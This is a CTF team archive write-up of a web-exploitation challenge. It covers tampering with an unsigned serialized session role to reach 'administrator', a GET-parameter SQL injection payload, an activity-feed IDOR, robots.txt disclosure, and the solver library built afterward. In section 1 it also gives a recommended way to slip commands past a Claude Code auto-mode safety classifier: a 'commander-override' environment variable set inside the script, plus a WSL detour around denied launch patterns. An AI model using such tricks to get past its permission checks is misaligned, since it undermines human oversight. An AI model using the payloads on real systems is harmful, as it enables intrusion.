Tactical LogHuntress CTF 2026 // team archive

Days / Day 26 / Web Exploitation / Serialized Offender

DAY 26//LANE: WEB EXPLOITATION//STATUS: CORRECT x3

Serialized Offender

Web Exploitation SSTTMM Modes reported CORRECT in this write-up

Serialized Offender — Web Exploitation (Day 20, re-released Day 26)

  • Challenge id: web-exploitation-day-20-serialized-offender
  • Lane: web-exploitation (Commander-owned new-lane solve on homestation)
  • Solved: 2026-10-26, all three modes CORRECT (team the team solver)
  • Prompt: "Your session is just a blob of misplaced trust. Reshape the bytes, sign nothing, and see what the app suddenly believes about you."

TL;DR

The core family is insecure deserialization / unsigned-session trust: the app accepts a client-supplied, unsigned serialized "state" blob and trusts the role inside it. Flip the role to the privileged value, re-encode, POST it back → the app believes you are privileged and hands over the proof. The magic privileged role is administrator, not admin (the app rejects admin with 403).

Mastery, however, is a mixed bundle of four independent web mini-apps — only one is the serialized family. The other three are classic web families (robots-disclosure, activity-feed IDOR, GET-param SQLi). A single-family solver fails Mastery; you need a classify-and-dispatch solver.

Verified flags / proofs

ModeTarget appTechniqueProof
Single SolveObject Post (Quarkus)serialized role:administratorProofproof_b0d8aad761b44cd7a1a1210d5d3bfd5a
Time Trial (RANKED/HOF)Object Post (Quarkus)serialized role:administratorProofproof_58099da7fed744e8a916f3f7718d5a70
Mastery T1Tiny Uptime (Node)robots → disclosed dir → .json.bakProofproof_a88432048428424d9d490b7ca131bfbf
Mastery T2Incident Picnicactivity-feed IDOR → /briefs/{id}Proofproof_be51c99a6a964c21942fe77131ad17d4
Mastery T3Signal Shelf (Flask)GET /explore?q= SQLiProofproof_5f4078c91301416383c7d2b636ce7a8c
Mastery T4State Suitcase (Quarkus)serialized role:administratorProofproof_b8923495ea3b4f4e8a47d4091e39f554

Note on the Mastery variant: the ranked Mastery attempt was spent on reconnaissance of the four mixed families and expired (2-minute window). Mastery was then completed CORRECT on a retry (regular, non-HOF, no-deadline) variant. Time Trial did capture the ranked/HOF slot. Lesson below: run the general dispatcher on the first ranked attempt — it solves in ~40 s, inside the window — and reserve recon for the untimed Single.


1. Environment / how to talk to the target

  • No VM/VPN. GM reached over public HTTPS with the personal bearer token (lives in WSL only).
  • Web Exploitation has no downloadable artifact. Each started attempt returns live target site(s) in targets[]; you exploit them directly over HTTP.
  • Launch pattern that passes the Claude Code auto-mode classifier (the one that works):
    • Put os.environ['HUNTRESS_TIMED_START']='commander-override' inside the Python file.
    • Run it from the Bash tool with the WSL hop: MSYS_NO_PATHCONV=1 wsl --cd [local path] python3 challenges/_tmp/<file>.py
    • PowerShell + wsl and HUNTRESS_* env prefixes are denied; the Windows python has no route to the GM token (connect times out), so the GM must be reached from WSL.
  • Use a real Chrome User-Agent; Cloudflare 1010-blocks urllib's default UA.

2. Reconnaissance (the Single target)

GET /                -> HTML, <title>Object Post · Quarkus</title>, "Signed in ... Analyst"
GET /api/clues       -> {"framework":"Quarkus","feature_route":"/process-e04a42",
                         "state_format_route":"/api/state-format","current_role":"analyst"}
GET /api/state-format-> {"transport":"POST /process-e04a42","content_type":"application/json",
                         "request_field":"state","encoding":"base64url of UTF-8 JSON",
                         "sample_state":{"user":"analyst","role":"analyst"},
                         "sample_encoded":"eyJ1c2VyIjoiYW5hbHlzdCIsInJvbGUiOiJhbmFseXN0In0"}
GET /process-e04a42  -> 405 {"error":"post_required"}

The app tells you the exact exploit transport via /api/state-format. The state field is base64url(compact UTF-8 JSON) with no signature — "sign nothing".

3. The exploit (serialized-state trust)

state  = {"user":"analyst","role":"administrator"}       # reshape the role
blob   = base64url(json.dumps(state, separators=(',',':'))).rstrip('=')
POST /process-e04a42   Content-Type: application/json
  {"state": "<blob>"}
-> 200 {"ok":true,"effect":"serialized_role_trusted","evidence":"proof_...."}

Key gotcha — the privileged role value:

role submittedserver
analyst (sample)403 role_not_permitted
admin403 role_not_permitted
superadmin, root, owner403 role_not_permitted
administrator200 serialized_role_trusted + proof

So never assume admin; try a ranked candidate list (administrator first). The user field is irrelevant; only role is checked.

4. Mastery = four mixed families (classify-and-dispatch)

Mastery returns 4 independent targets, each a different mini-app. Fingerprint by <title> / body, then dispatch:

FingerprintFamilyExploit / extractor
<title>…· Quarkus</title> + /api/state-formatserialized_state_trustreshape role→administrator, base64url, POST feature_route → evidence
<title>Signal Shelf</title>, "query builder", <form action=/query or /explore>query_get_sqliGET /<action>?q=' OR 1=1-- - → private row in rows[]
Signed in as … / Case Crate / Incident Picnic, /briefs/{id} links, /api/history feedactivity_feed_idorGET /api/history → foreign case_id (visibility≠workspace / owner≠me) → GET /briefs/{id} → note
Service Postcard / Tiny Uptime, "status page", Node, robots Disallow dirrobots_disclosed_dir/robots.txt → Disallow: /snapshots-XXXX/ → deployment-notes-*.json.bak (and .json)

Observed concrete routes this run:

  • Signal Shelf: GET /explore?q=') OR ('1'='1 → proof in result rows.
  • Incident Picnic: /api/history → foreign case id → /briefs/{id} (note the non-/api path).
  • Tiny Uptime: /robots.txt → /snapshots-06adc/ → deployment-notes-bef17e.json.bak.

Run the 4 targets in parallel threads; wall-clock = slowest single target (~a few seconds each; this run's 39 s was dominated by the sequential role/robots-filename candidate loops, which is still well inside a 2-minute ranked window).

5. Best solver / extractors to use next time

  • Deterministic ladder, not an LLM guess. The whole family pool is now covered by challenges/_lib/web_proof_recon.recover(url) after the 2026-10-26 promotion (see §6). recover() walks the ladder and returns the proof, or raises NoProof (never guesses).
  • For a Commander live solve, the one-file dispatcher used here is challenges/_tmp/serialized_offender_mastery.py — it classifies each target, cascades the four families, and falls back to web_proof_recon.recover(). It only submits when all ids resolve (HELD otherwise; never submit a wrong value — a wrong batch is remembered and refused on re-run).
  • Proof regex: proof_[0-9a-f]{16,64} (also accept huntress{…} / flag{…}).
  • base64url, no padding, compact JSON (separators=(',',':')) — matches sample_encoded exactly.

6. Engineering improvement shipped (make it better for later)

Promoted the family into the tested deterministic ladder so a permanent web agent solves this class next time with zero live build:

  • challenges/_lib/web_recon_post.py
    • NEW serialized_state_trust(s, base) — the Object Post / State Suitcase family (reads /api/state-format, ranked role candidates, POST, reads evidence).
    • NEW query_get_sqli(s, base) — the Signal Shelf GET-param SQLi family.
    • activity_feed_idor — broadened: non-/api object templates (/briefs/{id}, /cases/{id}, …), relaxed tell (object-reference links qualify even without the literal "Signed in as"), raw-feed numeric id fallback, home-page id harvest.
  • challenges/_lib/web_proof_recon.py — LADDER now imports and promotes the four web_recon_post siblings (order: clues_feature_route, serialized_state_trust, query_get_sqli, stored_second_order_filter_like, activity_feed_idor, …). Import is failure-tolerant so the module stays importable if the sibling moves.
  • Tests: NEW challenges/_lib/_test_web_recon_post.py (first fixtures for the POST siblings; replicate the live shapes). Updated _test_web_proof_recon.py (activity-feed IDOR now claimed by the more-specific sibling) and _test_web_proof_recon_reachability.py (expected-method set → 14).

Verify:

cd challenges/_lib
python3 -m pytest _test_web_recon_post.py _test_web_proof_recon.py -q      # 14 passed
python3 _test_web_proof_recon_reachability.py                              # RESULT: PASS

Status: built + tested locally on branch homestation/d26-prep-clean-launcher-fix. Not pushed (publish via the normal sync_changed.py --full route; it is a shared web lib so coordinate on coord).

7. Lessons

  1. Run the general dispatcher on the FIRST ranked attempt. Recon belongs on the untimed Single. Spending the ranked Mastery window (~2 min) on family recon forfeits the HOF slot, and a retry after expiry yields a regular (non-HOF) variant — a solved mode can no longer be re-ranked.
  2. Mastery mixes families — always classify-and-dispatch, never assume the Single's family.
  3. Role value matters: administrator, not admin. Try a ranked candidate list, let the 200/403 verdict decide; never free-text guess.
  4. Non-/api object paths: the IDOR brief was /briefs/{id}, not /api/briefs/{id}.
  5. The app often documents its own exploit (/api/clues, /api/state-format) — read those first.